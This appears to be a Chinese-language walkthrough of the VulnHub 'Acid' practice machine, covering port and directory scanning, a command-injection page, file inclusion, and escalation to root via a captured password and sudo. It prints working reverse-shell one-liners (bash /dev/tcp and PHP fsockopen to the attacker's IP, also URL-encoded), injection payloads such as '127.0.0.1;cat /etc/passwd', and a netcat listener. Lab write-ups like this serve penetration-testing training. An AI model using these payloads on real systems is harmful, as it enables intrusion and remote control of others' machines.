VulnHub-Acid(1/100)
参考链接：
【VulnHub】Acid靶场复盘-CSDN博客
靶场渗透（二）——Acid渗透_ambassador 靶场渗透-CSDN博客
网络安全从0到0.5之Acid靶机实战渗透测试 | CN-SEC 中文网
Vulnhub靶场渗透练习(四) Acid - 紅人 - 博客园
红日团队笔记
信息收集
主机：kali，靶机：Acid
下载地址：https://download.vulnhub.com/acid/Acid.rar
扫描网段：arp-scan -l
扫描端口：
nmap -A -p- -sV 192.168.91.146（扫描全部端口）
开放端口33447，底层服务：Apache2.4.10，操作系统：Ubuntu
192.168.91.146:33447访问
dirb爆破目录，其实是没有有效结果的
查看页面源代码
转码两次后获得wow.jpg
访问路径，获取图片
在editor中发现一串数字，放入十六进制转换为ascii码
7aee0f6d588ed9905ee37f16a7c610d4，32位大概率为md5
解密为63425
最后发现没啥用
爆破目录
使用dirbuster爆破目录，用small字典，爆破提示的Challenge
目录下存在index.php，error.php，cake.php，include.php，hacked.php
或者直接使用dirb调用字典
使用-x参数，爆破.php文件,用big字典
dirb http://192.168.91.146:33447/Challenge /usr/share/wordlists/dirb/big.txt -X .php
渗透测试
访问cake.php，标题提示含有Magic_Box目录，爆破目录
http://192.168.91.146:33447/Challenge/cake.php/Magic_Box
这里需要多尝试 一下，/Challenge/Magic_Box，从这个位置开始访问。
命令执行
这个ip地址可以爆破出一个页面，进行命令执行
127.0.0.1;cat /etc/passwd，存在命令执行漏洞
进行命令执行测试，寻找默认密码
访问include.php，存在文件包含漏洞
转包，进行URL编码,/变为%2F,实现文件包含
关注地址为:/bin/bash
漏洞利用
使用通过URL编码的命令进行bash反弹，这里ip为攻击机（kali）的地址
bash反弹，单引号和双引号好像都行
bash -c：运行后面的字符串作为 Bash 命令。 'bash -i >& /dev/tcp/192.168.91.138/6666 0>&1'：这是要执行的 Bash 命令。它包含以下几个部分： bash -i：启动一个交互式的 Bash shell。 -i 选项表示交互式。 >& /dev/tcp/192.168.91.138/6666：将标准输出和标准错误重定向到指定的 IP 地址和端口。 /dev/tcp 是一个特殊的设备文件，Bash 可以将其视为网络套接字。 0>&1：将标准输入重定向到标准输出。这样，我们就可以在远程主机上执行命令并获取输出。 此命令的目的是将被攻击主机上的 Bash shell 与指定 IP 地址和端口上的远程主机建立连接，使攻击者能够通过该连接远程控制被攻击主机并执行命令。
bash -c 'bash -i >& /dev/tcp/192.168.217.130/6666 0>&1'127.0.0.1; bash -i >& /dev/tcp/192.168.217.130/6666 0>&1
bash -i >& /dev/tcp/192.168.217.130/6666 0>&1php反弹：
php -r '$sock=fsockopen("192.168.91.138",6666);exec("/bin/bash -i &3 2>&3");'直接在burpsuite里进行调整，点击encode，到URL
127.0.0.1|%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%39%31%2e%31%33%38%2f%36%36%36%36%20%30%3e%26%31%27192.168.217.130
监听
nc -lvp 6666成功上线
权限提升
进行提权
这里是su执行，必须需要一个终端
python导入交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'cat /etc/passwd
查看用户名，
acif、saman、root为:/bin/bash
在
/tmp存放临时文件
/tmp$ ls /home 出现用户
这里应该是直接到home目录查看
前面已经获取了密码
查找acid用户创建的文件（不显示错误）
find：一个用于搜索文件和目录的常用命令。 /：表示要搜索的起始路径，这里是根目录。 -user acid：指定只搜索由用户"acid"创建的文件和目录。 2>/dev/null：将标准错误输出重定向到
/dev/null，即丢弃错误信息，避免出现权限错误提示。
find / -user acid 2>/dev/null
出现了一个流量包
方法一：
先进到/home，再cd到/sbin
python -m SimpleHTTPServer 8080出现文件，下载分析
tcp.stream只看tcp协议的包
发现用户密码1337hax0r
进行提权
当前用户有 sudo 权限，想切换到 root
先切换到saman
www-data@acid:/var/www/html/Challenge/Magic_Box$ su samansu samanPassword: 1337hax0r需要的是当前用户的密码
sudo -i
查看当前用户的权限情况
su权限过高，直接提权到root
这里不能直接su root，并不知道root密码
使用
sudo -l
只需要当前用户的密码
得到flag
